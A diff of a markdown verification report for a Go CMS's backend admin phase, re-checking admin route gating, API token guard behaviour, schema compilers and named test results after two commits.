|
||||
|
||||
**Gap fix (fonoteka.go e074028).** The commit adds exactly 16 lines to `phase09AdminRoutes`: the 10 routes, each `public: false`, plus comments. The assertions in `TestPhase09SecurityRoutes` are unchanged. The test still fails on a missing route, a non-raw route, a protected route without `backend` middleware, a public route with it, and any unlisted admin route. I checked each of the 10 routes in `modules/cabana/http.go` `service.mount`. All are registered inside `r.GroupRaw(api, []string{"backend"}, …)`, which opens at line 264 and closes at line 387:
|
||||
|
||||
| Route | http.go line | Extra gate |
|
||||
|---|---|---|
|
||||
| `PUT /account` | 268 | `interactiveOnly`, `requireAjax` |
|
||||
| `POST /account/avatar` | 269 | `interactiveOnly`, `requireAjax` |
|
||||
| `DELETE /account/avatar` | 270 | `interactiveOnly`, `requireAjax` |
|
||||
| `GET /account/tokens` | 271 | `interactiveOnly` |
|
||||
| `POST /account/tokens` | 272 | `interactiveOnly`, `requireAjax` |
|
||||
| `GET /account/tokens/scopes` | 273 | `interactiveOnly` |
|
||||
| `DELETE /account/tokens/{id}` | 274 | `interactiveOnly`, `requireAjax` |
|
||||
| `GET /field-types` | 278 | `tokenRouteGate` (handler) |
|
||||
| `POST /markdown/preview` | 280 | `requireAjax`, `tokenRouteGate` (handler) |
|
||||
| `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` | 386 | `requireAjax`; handler calls `protect` then `operationDeclared` (`field_type_upload.go:33,44`) |
|
||||
|
||||
None of the 10 routes is in the public `/auth`, `/lang` or `adminPrefix` groups.
|
||||
|
||||
**Throttle change (summercms.go b45af8e) does not weaken any Phase 9 must-have.** Since a3b502b (the HEAD of the previous report), the only code changes are `api_tokens.go`, `token_guard.go`, `http.go` and two test files (`git diff --stat a3b502b HEAD`).
|
||||
- `compositeGuard.AuthenticateCredential` (`token_guard.go:62-75`) is unchanged: a Bearer value with the `g15_` prefix goes to `authenticateToken`, and everything else goes to `g.jwt.Authenticate`. `g.jwt` is still `bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)` (`http.go:151,156`). The cookie-less resolver also uses `NewBackendJWTGuard` (`http.go:172-173`).
|
||||
- The only change on the token path is the debounce of the `last_used_at` write. It now happens after all authentication and scope decisions (`token_guard.go:120`) and does not affect the result. Token lookup, `subtle.ConstantTimeCompare`, `users.FindByID` (backend users only), `methodFilterScopes`, and `principal.Scope = limit` are unchanged.
|
||||
- Scope narrowing is untouched. `token_scopes.go` (`ownerHas`, line 237; `allowsUnderScope`, line 246) and `contracts.go` (`Allows`) have no diff. `TestAllowsScope`, `TestScopeCoversAll`, `TestScopeMatch`, `TestTokenRouteGates` and `TestInteractiveOnly` PASS.
|
||||
- Guard ownership (`guards.Owner("backend")`, `http.go:163-169`) is unchanged.
|
||||
- A nil `*stampThrottle` returns `due == true`, so a zero-value guard still stamps (the SQL UPDATE stays conditional) and cannot panic. The race run is clean.
|
||||
|
||||
## User Flow Coverage
|
||||
|
||||
@@ -136,12 +170,12 @@ User story (from every 09-*-PLAN.md): *As a backend administrator, I want to aut
|
||||
|
||||
| Step | Expected | Evidence | Status |
|
||||
|---|---|---|---|
|
||||
| Provision an admin | `summer admin:create` creates a bcrypt admin with a role; no boot or web seed | `modules/cabana/commands.go`; `TestAdminCreateCommand`, `TestAdminResetPasswordCommand`, `TestAdminPasswordWithoutFlag`, `TestAdminCreateRejectsCrossFieldCollision`: PASS | VERIFIED |
|
||||
| Log in separately | Backend login by login or email returns a `backend`-audience JWT; frontend credentials fail; ambiguous identifiers fail opaquely | `modules/cabana/auth.go`, `bouncer.NewBackendJWTGuard`; `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier`, `TestAdminTracerGenreList`, `TestPhase09GuardIsolation`: PASS | VERIFIED |
|
||||
| See permitted navigation | `/navigation` lists only permitted items and never links to a 403 target | `modules/cabana/navigation.go` `Metadata`/`openableTarget`; `TestNavigationDropsDeniedParentAndRepointsTarget`, `TestAdminMetadataFiltering`: PASS | VERIFIED |
|
||||
| Open a controller | 403 without the controller permission, before any schema or SQL work | `modules/cabana/http.go` `protect` (line 780), then `operationDeclared` for writes; `TestPhase09PermissionMatrix`, `TestCRUDOperationsFollowDeclarations`, `TestAdminTracerPermissionBoundary`, `TestPhase09SecurityRoutes`: PASS | VERIFIED |
|
||||
| Work with schema-driven lists and forms | Form/list/relation schemas compiled from Winter YAML; CRUD, bulk delete, relation manager, settings | Sections below; `TestPhase09AssembledAcceptance`: PASS on real PostgreSQL | VERIFIED |
|
||||
| Outcome: permission-gated, reusable, decoupled | Framework has no app names; admin identity never touches frontend users | `grep -niE "fonoteka|collection_editors|granted_by|golem15_"` on non-test `modules/cabana/*.go`: no hits. `BackendUsers.FindByID` reads only `backend_users` | VERIFIED |
|
||||
| Provision an admin | `summer admin:create` creates a bcrypt admin with a role; no boot or web seed | `modules/cabana/commands.go`; `TestAdminCreateCommand`, `TestAdminResetPasswordCommand`, `TestAdminPasswordWithoutFlag`, `TestAdminCreateRejectsCrossFieldCollision`: PASS on PostgreSQL (re-run today) | VERIFIED |
|
||||
| Log in separately | Backend login returns a `backend`-audience JWT; frontend credentials fail; ambiguous identifiers fail opaquely | `auth.go` `findBackendLogin`, `bouncer.NewBackendJWTGuard`; `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier`, `TestPhase09GuardIsolation` (via `check-phase9.sh --security`), Fonoteka `TestAdminTracerAuthBoundary`, `TestAdminTracerGenreList`: PASS | VERIFIED |
|
||||
| See permitted navigation | `/navigation` lists only permitted items and never links to a 403 target | `navigation.go` `Metadata`/`openableTarget`/`canOpen`; Fonoteka `TestAdminMetadata*`: PASS | VERIFIED |
|
||||
| Open a controller | 403 without the controller permission, before any schema or SQL work | `http.go` `protect`, `operationDeclared`; `TestCRUDOperationsFollowDeclarations`, Fonoteka `TestPhase09SecurityMatrix`, `TestAdminTracerPermissionBoundary`: PASS | VERIFIED |
|
||||
| Work with schema-driven lists and forms | Form, list and relation schemas compiled from Winter YAML; CRUD, bulk delete, relation manager, settings | Sections below; Fonoteka `TestPhase09AssembledAcceptance` (via `check-phase9.sh --postgres`, run twice inside `--all`): PASS | VERIFIED |
|
||||
| Outcome: permission-gated, reusable, decoupled | No app names in the framework; admin identity never touches frontend users | No new non-test framework code beyond the throttle; token principals still resolve only through `BackendUsers.FindByID` | VERIFIED |
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
@@ -149,167 +183,165 @@ User story (from every 09-*-PLAN.md): *As a backend administrator, I want to aut
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|---|---|---|
|
||||
| 1 | A backend admin user with a role logs in separately from frontend users, and navigation/controller access is gated by the permissions registry. | ✓ VERIFIED | Separate Winter-shaped `backend_users`/`backend_user_roles` (`modules/lagoon/backend_admin_migrations.go`; `TestBackendAdmin*` PASS in the full run). Separate `backend` guard with its own secret and required audience; cross-audience tokens fail both ways (`TestPhase09GuardIsolation`, `TestAdminTracerAuthBoundary`: PASS); a foreign guard fails boot (`TestActivateRefusesAForeignBackendGuard`: PASS). Grants = role JSON + `HasPermissions` role assignments + user-level overlay (`auth.go:39-77`; `TestBackendUserPermissionsOverrideRole`: PASS on PostgreSQL). Every controller, relation and CRUD route goes through `protect` (`http.go:780`), settings through `protectSetting` (line 387). Permission matching follows Winter's `hasAnyAccess` (`TestAllowsFollowsWinterHasAnyAccess`, 17 cases: PASS). Navigation and settings filter by the same `Allows`; denied parents are dropped and targets repointed (`TestNavigationDropsDeniedParentAndRepointsTarget`: PASS). Also `TestPhase09PermissionMatrix`, `TestPhase09SecurityMatrix`, `TestAdminMetadataFiltering`, `TestAdminMetadataRejectsFrontendPrincipal`: PASS. The previous WR-01/WR-02/WR-17 caveats are closed in code; WR-17's wildcard-deny behaviour was kept as Winter by user decision. |
|
||||
| 2 | `fields.yaml` for a real controller parses (goccy/go-yaml) into a JSON form schema covering text, textarea, checkbox, switch, dropdown (model-method options) and relation (nameFrom, emptyOption), with span/tabs/context/attributes layout hints. | ✓ VERIFIED | `modules/cabana/form_schema.go` decodes with goccy/go-yaml and `yaml.DisallowUnknownField()` (line 286), walks the AST to keep order, rejects unknown keys and types. The real Fonoteka YAML covers every listed item. `required` now honours `context` (`TestCRUDRequiredFollowsContext`: PASS). Tests: `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestAlbumsAdminForm`, `TestAlbumsAdminDropdowns`, `TestStylesAdminForm`, `TestCollectionsAdminForm`: PASS. |
|
||||
| 3 | `columns.yaml` parses into a JSON list schema with searchable/sortable/relation columns and datetime/switch renderers. | ✓ VERIFIED | `modules/cabana/list_schema.go` column types `text`, `datetime`, `switch`; `ListColumn` carries `searchable`, `sortable`, `relation`, `select` (`schema_types.go:20-24`). Search/sort/filter resolve only through compiled allowlists with a PK tie-break; non-text searchable columns are cast to text (`query.go:296`; `TestListSearchNonTextColumns` on PostgreSQL: PASS). Tests: `TestListSchemaCompile`, `TestAlbumsAdminList`, `TestArtistsAdminList`, `TestCollectionsAdminListCRUD`, `TestGenresAdminEdges`: PASS. WR-08 caveat closed. |
|
||||
| 4 | The relation-manager schema supports search/link/unlink/manage-or-view lists for Collections' editors tab, replacing the `partial` field entirely. | ✓ VERIFIED | `fonoteka.go/.../models/collection/fields.yaml:19` `editors: type: relation-manager`; no `partial` in the Fonoteka model YAML. `config_relation.yaml` has view/manage list columns, `toolbarButtons: link\|unlink`, `showSearch`. `modules/cabana/relation.go` serves schema, linked, candidates (`RelationExtendManageQuery` at line 473), link and unlink (`RelationBeforeLink` at line 671); link/unlink now require the panel's `toolbarButtons` (`TestRelationMutationsFollowToolbarButtons`: PASS); column order is indentation-independent (`TestRelationColumnOrderIsIndependentOfIndentation`: PASS); default sort is the first sortable column (`TestRelationDefaultSort`: PASS). Fonoteka: `TestCollectionsAdminRelation*`, `TestCollectionsAdminRejectsPartial` (legacy path-less partial fails boot), `TestRelationCandidateExclusions`: PASS. **Note:** Phase 10.1 D-09 lifted Phase 9's blanket `type: partial` boot error for a bare-name sanitized html/template partial (`compilePartialPath`, `form_schema.go:508`); the Collections editors tab is still a relation manager. WR-05, WR-07, WR-15 caveats closed. |
|
||||
| 5 | Admin CRUD endpoints expose listExtendQuery/formExtendQuery/formBeforeCreate/formBeforeUpdate/relationExtendManageQuery hooks, bulk delete runs each record's lifecycle hooks, and the Settings model binds to a settings screen through the same schema pipeline. | ✓ VERIFIED | Hook interfaces in `modules/pact/capabilities.go:331-394`, type-asserted in `modules/cabana/query.go:109`, `crud.go:445,534,581,597`, `relation.go:473`. Hooks receive the write transaction through `TxFromContext` (`TestHooksReceiveTheWriteTransaction`: PASS; Fonoteka `TestAlbumsAdminHooksUseTheWriteTransaction` with a one-connection pool: PASS). `CRUDService.BulkDelete` (`crud.go:187`) locks scoped rows in one transaction and deletes per row via `deleteRecord`, so hooks fire per record; it now requires `delete` in `toolbar.buttons`. `TestBulkDeleteDuplicates`, `Idempotent`, `Rollback`, `TestCRUDHooks`: PASS. Settings use the same `Localize`, writable projection, `lagoon.Fill` (`settings.go:149`) and `lagoon.Validate`; `TestAdminSettings*` on PostgreSQL: PASS. CR-01 stays fixed (`TestCRUDFillTypeIsValidation`: PASS). |
|
||||
| 1 | A backend admin user with a role logs in separately from frontend users, and navigation/controller access is gated by the permissions registry. | ✓ VERIFIED | Separate `backend_users`/`backend_user_roles` (`modules/lagoon/backend_admin_migrations.go`; `TestBackendAdmin*` PASS on PostgreSQL today). Separate `backend` guard with its own secret and required audience, wrapped by the composite guard, which still hands every non-`g15_` request to `bouncer.NewBackendJWTGuard` (re-read after b45af8e). A frontend-audience token and a wrong-secret token get 401 on every Fonoteka admin path (`TestPhase09SecurityMatrix` PASS), and cross-audience fails both ways (`TestPhase09GuardIsolation` PASS in `--security`). A foreign `backend` guard still fails boot (ownership check unchanged). Grants = role + user overlay (`TestBackendUserPermissionsOverrideRole` PASS). Every controller route, including field upload, goes through `protect`. Personal API tokens narrow and never widen (`TestAllowsScope`, `TestBackendTokenGuard`, `TestTokenRouteGates`, `TestInteractiveOnly`, `TestResolveBackend`, `TestTokenTracerPostgres`, `TestBackendTokenPostgres`: PASS). |
|
||||
| 2 | `fields.yaml` for a real controller parses (goccy/go-yaml) into a JSON form schema covering text, textarea, checkbox, switch, dropdown (model-method options) and relation (nameFrom, emptyOption), with span/tabs/context/attributes layout hints. | ✓ VERIFIED | No change since the 13:00Z run (`form_schema.go` not in the a3b502b..HEAD diff). `TestCRUDRequiredFollowsContext` PASS today; full `./modules/cabana` package ok; Fonoteka `TestAlbumsAdmin*`, `TestStylesAdmin*`, `TestCollectionsAdmin*`: PASS. |
|
||||
| 3 | `columns.yaml` parses into a JSON list schema with searchable/sortable/relation columns and datetime/switch renderers. | ✓ VERIFIED | No change since the 13:00Z run. `TestListSearchNonTextColumns` (PostgreSQL) PASS today; Fonoteka `TestAlbumsAdminList`, `TestArtistsAdminList`, `TestGenresAdmin*`: PASS. |
|
||||
| 4 | The relation-manager schema supports search/link/unlink/manage-or-view lists for Collections' editors tab, replacing the `partial` field entirely. | ✓ VERIFIED | No change since the 13:00Z run. Fonoteka `TestCollectionsAdminRelation*`, `TestCollectionsAdminRejectsPartial`, `TestRelationCandidateExclusions`: PASS; full `./modules/cabana` package ok. |
|
||||
| 5 | Admin CRUD endpoints expose `listExtendQuery`/`formExtendQuery`/`formBeforeCreate`/`formBeforeUpdate`/`relationExtendManageQuery` hooks, bulk delete runs each record's lifecycle hooks, and the Settings model binds to a settings screen through the same schema pipeline. | ✓ VERIFIED | No change since the 13:00Z run. `TestBulkDelete*`, `TestCRUDHooks`, `TestHooksReceiveTheWriteTransaction`, `TestCRUDFillTypeIsValidation`: PASS on PostgreSQL today (27-test set). Fonoteka `TestAdminSettings*`, `TestAlbumsAdminHooksUseTheWriteTransaction`: PASS. |
|
||||
|
||||
**Score:** 5/5 ROADMAP truths verified (0 present-but-behavior-unverified).
|
||||
|
||||
### Plan must-have truths (supporting evidence)
|
||||
|
||||
There are 54 plan truths across 09-01 to 09-12, and each maps to a named test in its plan's `<verify>` block. I re-ran every named Fonoteka suite with `-v`: 79 top-level PASS, 0 SKIP, 0 FAIL. That equals the number of test functions with those prefixes in the package (79, now including `TestAlbumsAdminHooksUseTheWriteTransaction` from the WR-19 fix). The 20 tests added by the summercms.go fix commits were run by name and all pass.
|
||||
There are 54 plan truths across 09-01 to 09-12. Fonoteka's named Phase 9 suites at e074028 (`-run '^(TestPhase09.*|TestAdminSettings.*|TestAdminMetadata.*|TestCollectionsAdmin.*|TestAlbumsAdmin.*|TestGenresAdmin.*|TestArtistsAdmin.*|TestStylesAdmin.*|TestAdminTracer.*|TestAdminAuthLifecycleAssembled|TestRelationCandidateExclusions)$'`) gave 79 PASS, 0 FAIL, 0 SKIP.
|
||||
|
||||
Truth 09-12 #4 names `../fonoteka.go/docs/openapi.json` as the admin OpenAPI home. Phase 10 D-15 moved the admin paths to the framework-owned `summercms.go/admin/openapi/admin.json`. The intent still holds: `scripts/check-admin-openapi.sh --check` and `scripts/check-phase9.sh --openapi` exit 0.
|
||||
| Truth | Status | Evidence |
|
||||
|---|---|---|
|
||||
| 09-12 #2: complete threat matrix executable, enforced by the fail-closed Phase 9 gate | ✓ VERIFIED (gap closed) | `check-phase9.sh --security` exit 0, `--all` exit 0. `TestPhase09SecurityRoutes` PASS with assertions unchanged; all 10 added routes carry `backend` middleware (checked in http.go, table above). |
|
||||
| All other 53 plan truths | ✓ VERIFIED | Named tests above and in the Spot-Checks table pass; `check-phase9.sh --all` (self-test, security, postgres, openapi, evidence) exit 0. |
|
||||
|
||||
Truth 09-12 #4 names `../fonoteka.go/docs/openapi.json` as the admin OpenAPI home. Phase 10 D-15 moved the admin paths to `summercms.go/admin/openapi/admin.json`. `check-phase9.sh --openapi` passes inside `--all`.
|
||||
|
||||
Backstop (non-inferable) truths:
|
||||
|
||||
| Truth | Evidence | Status |
|
||||
|---|---|---|
|
||||
| 09-01: login accepts login or normalized email, one opaque failure, never falls back to a frontend user | `TestAdminAuthLifecycle`, `TestAdminTracerGenreList` (frontend user with the admin's email; frontend password rejected), `TestLoginAmbiguousIdentifier` (a cross-field collision now fails opaquely instead of taking the first match), `TestMissingUserHashUsesConfiguredCost`: PASS | VERIFIED (WR-11 closed; `lower(email)` unique index added, `TestBackendAdminEmailCaseInsensitiveUnique` PASS) |
|
||||
| 09-11: missing settings GET is side-effect-free with `exists: false`; first PUT creates; identical PUT is idempotent | `TestAdminSettingsMissingRead`, `TestAdminSettingsCreate`, `TestAdminSettingsIdempotentUpdate`: PASS | VERIFIED |
|
||||
| 09-12: AUTH-08 is the separate D-01/D-02 principal only; no shared role table or dual-purpose token | Separate tables, `Principal.Backend` flag, audience checks; `TestPhase09GuardIsolation`, `TestAdminMetadataRejectsFrontendPrincipal`, `TestVerifyRefreshableClaimsAudience` (refresh-window verification keeps the audience check): PASS | VERIFIED |
|
||||
| 09-01: login accepts login or normalized email, one opaque failure, never falls back to a frontend user | `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier` PASS today; Fonoteka `TestAdminTracerGenreList` (frontend user with the admin's email rejected) PASS | VERIFIED |
|
||||
| 09-11: missing settings GET is side-effect-free with `exists: false`; first PUT creates; identical PUT is idempotent | Fonoteka `TestAdminSettingsMissingRead`, `TestAdminSettingsCreate`, `TestAdminSettingsIdempotentUpdate` PASS | VERIFIED |
|
||||
| 09-12: AUTH-08 is the separate D-01/D-02 principal only; no shared role table or dual-purpose token | Separate tables. Personal API tokens live in `backend_api_tokens`, resolve only through `BackendUsers.FindByID`, and the non-`g15_` path is the backend JWT guard. `TestPhase09GuardIsolation`, `TestBackendTokenGuard`, `TestBackendTokenPostgres` PASS | VERIFIED |
|
||||
|
||||
### Prohibitions (judgment tier, non-authoritative verdicts)
|
||||
|
||||
| Plan | Prohibition | Verdict |
|
||||
The 24 verdicts accepted in UAT row 3 still stand. b45af8e changes only when `last_used_at` is written, and e074028 is test-only, so neither touches a prohibition:
|
||||
|
||||
| Plan | Prohibition | Verdict at HEAD |
|
||||
|---|---|---|
|
||||
| 01 | Backend identities must not share frontend user rows, the jwt guard, or a signing secret | not violated (foreign `backend` guard now fails boot) |
|
||||
| 01 | Hidden navigation must not replace server-side authorization | not violated (`protect`/`protectSetting`/`operationDeclared` on every route; logout is public by design, CSRF-checked, and only revokes the presented token) |
|
||||
| 01 | Tracer must not be mock-only | not violated (testcontainers PostgreSQL, assembled router) |
|
||||
| 02 | No boot, web-wizard or env-seeded first admin | not violated (migration seeds roles only; `admin:create` only) |
|
||||
| 02 | No cookie session store and no merge with the frontend user model | not violated |
|
||||
| 02 | Auth logs carry no password, JWT, secret or hash | not violated (`TestAdminAuthLogging`, `TestPhase09SecurityCoverage`; the `--password` deprecation warning never echoes the value) |
|
||||
| 03 | Form compiler must not accept `type: partial` | **superseded (accepted by the user 2026-10-01)**: Phase 10.1 D-09 lifted this for a supported partial contract (bare-name `path`, html/template, allowlisted node renderer, D-18 sanitizer). The legacy Winter path-less partial is still refused (`TestCollectionsAdminRejectsPartial`). |
|
||||
| 03 | Labels not deferred to the client or cached in the first request's locale | not violated (per-request `Localize`) |
|
||||
| 03 | Unknown keys, types or providers not silently ignored | not violated (`DisallowUnknownField`, `formFieldKeys`) |
|
||||
| 04 | YAML must not inject SQL or name an arbitrary method | not violated (`conditions:` rejected, finite `FilterScopes`; search cast is on an allowlisted, quoted column) |
|
||||
| 04 | Equal sort values must not make rows jump across pages | not violated (PK tie-break) |
|
||||
| 05 | No partially committed bulk operation | not violated (`TestBulkDeleteRollback`) |
|
||||
| 05 | Replay must not rerun destructive hooks | not violated (`TestBulkDeleteIdempotent`) |
|
||||
| 06 | No cross-collection or silently chosen duplicate user on albums | not violated (`TestAlbumsAdminAmbiguousEmail`, `CrossCollection`) |
|
||||
| 06 | Album form choices must not expose inactive or cross-collection users | not violated |
|
||||
| 07 | Artist parity not reached by silently omitting Winter keys | not violated |
|
||||
| 08 | No second Genre identity and no weakened permission | not violated (`TestGenresAdminTracerIdentity`, `DuplicateRegistration`) |
|
||||
| 09 | Style values not coerced between scalar types | not violated (`TestStylesAdminTypedOptions`) |
|
||||
| 10 | No PHP partial and no hardcoded Fonoteka pivot names in the framework | not violated (non-test `modules/cabana/*.go` grep: no hits) |
|
||||
| 10 | Owner, cross-collection or already-linked candidates not linkable by forgery | not violated (`ForgedPivot`, `CrossScope`, `Idempotent`; link now also requires the declared toolbar button) |
|
||||
| 11 | Navigation/settings metadata must not reveal existence, label or target of inaccessible entries | **not violated** (was qualified): a denied main item is dropped; an allowed parent never links to a controller the admin cannot open (`TestNavigationDropsDeniedParentAndRepointsTarget` pins the same parent `x.*` + genres-only shape; for Fonoteka this follows from code reading, since no Fonoteka test asserts a genres-only menu) |
|
||||
| 11 | Reading a missing singleton must not create a row | not violated (`TestAdminSettingsMissingRead`) |
|
||||
| 12 | Acceptance must not depend on skipped PostgreSQL tests or zero-test matches | **not violated** (was qualified): `phase9_detect` refuses any package without a passing test; `--self-test` re-run prints "refuse: zero tests in a/cabana" for the planted case and passes |
|
||||
| 12 | High threats marked mitigated only with a named failing-when-broken test | not violated (`09-SECURITY-REVIEW.md`; `check-phase9.sh --security` re-run: "phase9 security passed") |
|
||||
| 01 | Backend identities must not share frontend user rows, the jwt guard, or a signing secret | not violated (composite guard wraps the backend JWT guard with the backend secret; tokens resolve to `backend_users` only) |
|
||||
| 01 | Hidden navigation must not replace server-side authorization | not violated (`protect`/`protectSetting`/`operationDeclared` on every controller and settings route, including field upload) |
|
||||
| 02 | Auth logs carry no password, JWT, secret or hash | not violated (the throttle's failure log carries only `token_id` and the error; `logTokenAuth` unchanged) |
|
||||
| 03 | Form compiler must not accept `type: partial` | superseded (accepted 2026-10-01) by Phase 10.1 D-09; legacy path-less partial still refused |
|
||||
| 03 | Unknown keys, types or providers not silently ignored | not violated |
|
||||
| 11 | Navigation/settings metadata must not reveal inaccessible entries | not violated |
|
||||
| 12 | Acceptance must not depend on skipped PostgreSQL tests or zero-test matches | not violated (`--all` self-test refuses planted skip/zero-test cases; real stages green) |
|
||||
| others | (see 2026-10-05 report) | unchanged |
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Expected | Status | Details |
|
||||
|---|---|---|---|
|
||||
| `modules/lagoon/backend_admin_migrations.go` | backend_users/roles, system-role seed, case-insensitive unique email | ✓ VERIFIED | Explicit SQL up/down; `TestBackendAdmin*` (6 incl. `EmailCaseInsensitiveUnique`, `EmailIndexRefusesCaseDuplicates`) PASS |
|
||||
| `modules/cabana/auth.go` | backend provider, login/refresh/logout/me, user-level permission overlay | ✓ VERIFIED | `BackendUsers` reads only `backend_users` |
|
||||
| `modules/cabana/commands.go` | admin:create, admin:reset-password | ✓ VERIFIED | prompt/stdin password, collision checks |
|
||||
| `modules/cabana/http.go` | route mounting, `protect`, `operationDeclared`, `relationMutation` | ✓ VERIFIED | Mounted from `modules/surf/router.go:522` via `cabana.Activate` |
|
||||
| `modules/cabana/form_schema.go`, `schema_types.go` | strict typed form compiler | ✓ VERIFIED | |
|
||||
| `modules/cabana/list_schema.go`, `filter_schema.go`, `query.go`, `model_fields.go` | list compiler, allowlisted query, column resolution | ✓ VERIFIED | |
|
||||
| `modules/cabana/crud.go`, `tx_context.go` | CRUD, projection, hooks, bulk delete, tx on context | ✓ VERIFIED | |
|
||||
| `modules/lagoon/fill.go` | allowlisted fill used by CRUD and settings | ✓ VERIFIED | |
|
||||
| `modules/cabana/relation.go`, `relation_field.go` | relation schema and link/unlink | ✓ VERIFIED | |
|
||||
| `modules/cabana/navigation.go`, `settings.go` | filtered metadata, singleton settings | ✓ VERIFIED | |
|
||||
| `modules/bouncer/refresh.go`, `registry.go` | refresh-window verification for logout; guard ownership | ✓ VERIFIED | |
|
||||
| `scripts/check-phase9.sh` | fail-closed gate, per-package zero-test check | ✓ VERIFIED | `--self-test`, `--openapi`, `--security`: exit 0 |
|
||||
| `fonoteka.go/.../controllers/{albums,artists,collections,genres,styles}_admin_controller.go`, `controllers/request_db.go` | five controllers with permissions; hooks read the write tx | ✓ VERIFIED | |
|
||||
| `fonoteka.go/.../models/*/fields.yaml`, `columns.yaml`, `controllers/*/config_*.yaml` | Winter-shaped YAML | ✓ VERIFIED | `partial` replaced by `relation-manager` |
|
||||
| `fonoteka.go/.../admin_permissions.go`, `admin_navigation.go`, `admin_settings.go` | registerPermissions/Navigation/Settings ports | ✓ VERIFIED | Parent requires `golem15.fonoteka.*` |
|
||||
| `fonoteka.go/.../admin_phase09_e2e_test.go`, `admin_phase09_security_test.go` | assembled acceptance and route inventory | ✓ VERIFIED | Logout listed as public with reason |
|
||||
| `modules/lagoon/backend_admin_migrations.go` | backend users/roles, seed, case-insensitive email, metadata + api tokens | ✓ VERIFIED | `TestBackendAdmin*` PASS |
|
||||
| `modules/cabana/auth.go` | backend provider, login/refresh/logout/me, user overlay | ✓ VERIFIED | unchanged since the 13:00Z run |
|
||||
| `modules/cabana/token_guard.go`, `token_scopes.go`, `api_tokens.go` | composite guard (16.3) on the Phase 9 gate path | ✓ VERIFIED | Routing and narrow-only scope unchanged; throttle now per guard (b45af8e); 13 token tests PASS together |
|
||||
| `modules/cabana/commands.go` | admin:create, admin:reset-password | ✓ VERIFIED | |
|
||||
| `modules/cabana/http.go` | route mounting, `protect`, `operationDeclared`, `relationMutation` | ✓ VERIFIED | b45af8e adds one line (`resolverGuard.stamps = guard.stamps`) |
|
||||
| `modules/cabana/form_schema.go`, `schema_types.go`, `list_schema.go`, `filter_schema.go`, `query.go`, `model_fields.go` | strict compilers, allowlisted query | ✓ VERIFIED | unchanged |
|
||||
| `modules/cabana/crud.go`, `tx_context.go`, `modules/lagoon/fill.go` | CRUD, hooks, bulk delete, tx on context | ✓ VERIFIED | unchanged |
|
||||
| `modules/cabana/relation.go`, `relation_field.go` | relation schema and link/unlink | ✓ VERIFIED | unchanged |
|
||||
| `modules/cabana/navigation.go`, `settings.go` | filtered metadata, singleton settings | ✓ VERIFIED | unchanged |
|
||||
| `modules/bouncer/jwt.go`, `refresh.go`, `registry.go` | audience guard, refresh-window verification, ownership | ✓ VERIFIED | unchanged since 104a1c9 |
|
||||
| `modules/cabana/security_coverage_test.go` | framework route inventory | ✓ VERIFIED | `TestPhase09SecurityCoverage` PASS |
|
||||
| `scripts/check-phase9.sh` | fail-closed gate | ✓ VERIFIED | `--security` exit 0; `--all` exit 0 |
|
||||
| `fonoteka.go/.../admin_phase09_security_test.go` | assembled route inventory | ✓ VERIFIED | e074028 lists the 10 routes; `TestPhase09SecurityRoutes` PASS |
|
||||
| `fonoteka.go/.../admin_phase09_e2e_test.go` | assembled acceptance | ✓ VERIFIED | `TestPhase09AssembledAcceptance` PASS (twice, inside `--all`) |
|
||||
| `fonoteka.go/.../controllers/*_admin_controller.go`, model YAML, `admin_permissions.go`, `admin_navigation.go`, `admin_settings.go` | five controllers and registries | ✓ VERIFIED | fonoteka diff 7fc790d..e074028 touches only the inventory test |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|---|---|---|---|
|
||||
| `modules/surf/router.go` | `modules/cabana/http.go` | `cabana.Activate(app, plugins)` at line 522 | WIRED |
|
||||
| `modules/cabana/http.go` guard | `modules/bouncer/jwt.go` | `NewBackendJWTGuard` with backend audience; ownership via `Registry.Owner` | WIRED |
|
||||
| `modules/cabana/http.go` logout | `modules/bouncer/refresh.go` | `VerifyRefreshableClaimsAudience` then blacklist jti | WIRED |
|
||||
| `modules/cabana/http.go` handlers | compiled schemas | `s.reg.Get(id)`, `operationDeclared`, then list/form/relation | WIRED |
|
||||
| `modules/cabana/crud.go` | `lagoon.Fill`/`lagoon.Validate` | `save` transaction (line 290; Fill at 327, `FillTypeError` to 422) | WIRED |
|
||||
| `modules/cabana/crud.go` | plugin hooks | `TxFromContext` inside `lagoon.Transaction` | WIRED |
|
||||
| `modules/cabana/crud.go` bulk | model lifecycle hooks | per-row `deleteRecord` inside one transaction | WIRED |
|
||||
| `modules/cabana/settings.go` | form pipeline | `Localize`, `Fill` (line 149), `Validate` | WIRED |
|
||||
| `modules/surf/router.go` | `modules/cabana/http.go` | `cabana.Activate(app, plugins)` | WIRED |
|
||||
| `cabana` `backend` guard | `modules/bouncer/jwt.go` | `newCompositeGuard(NewBackendJWTGuard(secret, …))` (`http.go:151,156`); ownership via `Registry.Owner` | WIRED |
|
||||
| composite guard token path | `backend_users` | `users.FindByID(row.BackendUserID)` (`token_guard.go:101`) | WIRED |
|
||||
| composite guard token path | `backend_api_tokens.last_used_at` | `stampLastUsed(ctx, g.stamps, …)`; backend and resolver guards share one `stampThrottle` (`http.go:175`) | WIRED |
|
||||
| `modules/cabana/http.go` logout | `modules/bouncer/refresh.go` | `VerifyRefreshableClaimsAudience` | WIRED |
|
||||
| handlers | compiled schemas | `protect` then `s.reg.Get(id)`, `operationDeclared` | WIRED |
|
||||
| `crud.go` | `lagoon.Fill`/`Validate`, plugin hooks | `save` transaction, `TxFromContext` | WIRED |
|
||||
| `crud.go` bulk | lifecycle hooks | per-row `deleteRecord` | WIRED |
|
||||
| `settings.go` | form pipeline | `Localize`, `Fill`, `Validate` | WIRED |
|
||||
| `models/collection/fields.yaml` | `config_relation.yaml` | `relation: editors` compiled at activation | WIRED |
|
||||
| `internal/build/build.go` | `cabana.RuntimeCommands` | generated main | WIRED |
|
||||
| `scripts/check-phase9.sh` | framework + assembled security tests | named stages, zero-test detection | WIRED (all stages green) |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
| Artifact | Data | Source | Real data | Status |
|
||||
|---|---|---|---|---|
|
||||
